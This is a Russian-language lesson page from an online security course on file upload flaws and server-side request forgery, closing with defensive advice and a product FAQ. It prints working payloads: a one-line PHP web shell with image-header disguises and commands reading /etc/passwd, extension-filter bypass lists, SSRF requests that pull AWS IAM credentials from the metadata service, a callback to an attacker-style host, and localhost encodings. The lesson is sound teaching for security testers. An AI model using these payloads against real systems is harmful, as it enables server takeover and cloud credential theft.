Уязвимости загрузки файлов и SSRF
Обходите ограничения загрузки файлов, эксплуатируйте SSRF для доступа к внутренним сервисам и объединяйте уязвимости в цепочки.
«Уязвимости загрузки файлов и SSRF» — бесплатный урок Cyber Security Academy на CoddyKit. Это урок 4 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Cyber Security Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Cyber Security Academy содержит 4 уроков всего.
Уязвимости загрузки файлов
Функция загрузки файлов — одна из наиболее рискованных возможностей веб-приложений. Недостаточная проверка позволяет загружать исполняемые файлы (PHP, JSP, ASPX), которые затем выполняются сервером, что приводит к удалённому выполнению кода.
Базовый обход фильтра расширений при загрузке
Фильтры расширений на стороне клиента и фильтры на основе чёрных списков можно обойти. Попробуйте двойные расширения (.php.jpg), разные регистры (.PhP), нулевые байты (file.php%00.jpg) и альтернативные расширения (.php5, .phtml, .phar).
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerОбход проверки типа MIME
Серверы часто проверяют заголовок Content-Type, а не фактическое содержимое файла. Перехватите запрос загрузки в Burp и измените Content-Type с application/x-php на image/jpeg.
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>Обход проверки магических байтов
Некоторые серверы проверяют магические байты файла (первые байты файла). Добавьте перед полезной нагрузкой PHP действительные магические байты изображения, чтобы пройти проверку и сохранить исполняемое содержимое.
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>Веб-оболочка после загрузки
После загрузки PHP/JSP-файла, доступного по URL, вызовите его для выполнения команд. Самая простая веб-оболочка:
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwdЧто такое SSRF
Подделка серверных запросов (SSRF) заставляет сервер выполнять HTTP-запросы к произвольным URL от имени атакующего. Это обеспечивает доступ к внутренним сервисам, API метаданных облака и внутренним административным интерфейсам.
Базовое обнаружение SSRF
Найдите параметры, принимающие URL (вебхуки, URL предварительного просмотра, конечные точки получения данных, URL изображений). Внедряйте внутренние адреса и наблюдайте за ответами: истечение времени ожидания, отказ в соединении или действительный ответ показывают, что доступно.
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/API метаданных AWS через SSRF
Сервис метаданных экземпляра AWS (IMDS) по адресу 169.254.169.254 раскрывает учётные данные роли IAM. SSRF к этой конечной точке может раскрыть облачные учётные данные и обеспечить полный захват учётной записи.
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}SSRF вслепую
Если тело ответа не отражается, используйте внеполосные методы: DNS-запрос к Burp Collaborator подтверждает доступность, а HTTP-обратный вызов с данными в пути извлекает информацию.
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testМетоды обхода SSRF
Фильтры, блокирующие очевидные внутренние IP-адреса, можно обойти с помощью кодирования IP (десятичное 0x7f000001 = 127.0.0.1), переброса DNS, альтернативных адресов обратной петли (127.1, 0.0.0.0) и перенаправления URL.
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostЗащита от загрузки файлов и SSRF
Загрузка файлов: разрешайте только безопасные расширения, храните файлы вне корня веб-сервера, переименовывайте файлы на сервере и обслуживайте их через CDN. SSRF: разрешайте только допустимые URL и диапазоны IP, отключайте ненужные функции получения данных по URL и принудительно используйте IMDSv2 в AWS.
Быстрая проверка
На какой IP-адрес направлена атака SSRF для кражи учётных данных AWS?
Итоги: загрузка файлов и SSRF
Недостатки загрузки файлов приводят к удалённому выполнению кода, а SSRF — к доступу к внутренней сети и краже учётных данных. Проверяйте загрузку с помощью обходов проверки расширения, типа MIME и магических байтов. Проверяйте параметры URL на наличие SSRF, обращаясь к localhost, внутренним подсетям и API метаданных облака. Для обоих классов проблем нужна эшелонированная защита: разрешительные списки вместо чёрных списков, сегментация сети и усиление защиты облака.
Часто задаваемые вопросы
Урок «Уязвимости загрузки файлов и SSRF» бесплатный?
Да — полный текст урока «Уязвимости загрузки файлов и SSRF» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Cyber Security Academy, подпишись на CoddyKit PRO. Курс Cyber Security Academy содержит 4 уроков всего.
Чему я научусь в уроке «Уязвимости загрузки файлов и SSRF»?
Обходите ограничения загрузки файлов, эксплуатируйте SSRF для доступа к внутренним сервисам и объединяйте уязвимости в цепочки. Ты практикуешь Cyber Security Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.
Нужен ли мне опыт, чтобы начать Cyber Security Academy?
Предыдущий опыт не требуется. Cyber Security Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 4 из 4.
Сколько времени занимает урок «Уязвимости загрузки файлов и SSRF»?
Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.
Можно ли писать и запускать код в этом уроке Cyber Security Academy?
Да. Каждый урок Cyber Security Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.
Все уроки этого курса
- Прокси Burp Suite и перехват запросов
- Тестирование уязвимостей внедрения
- Тестирование аутентификации и сеансов
- Уязвимости загрузки файлов и SSRF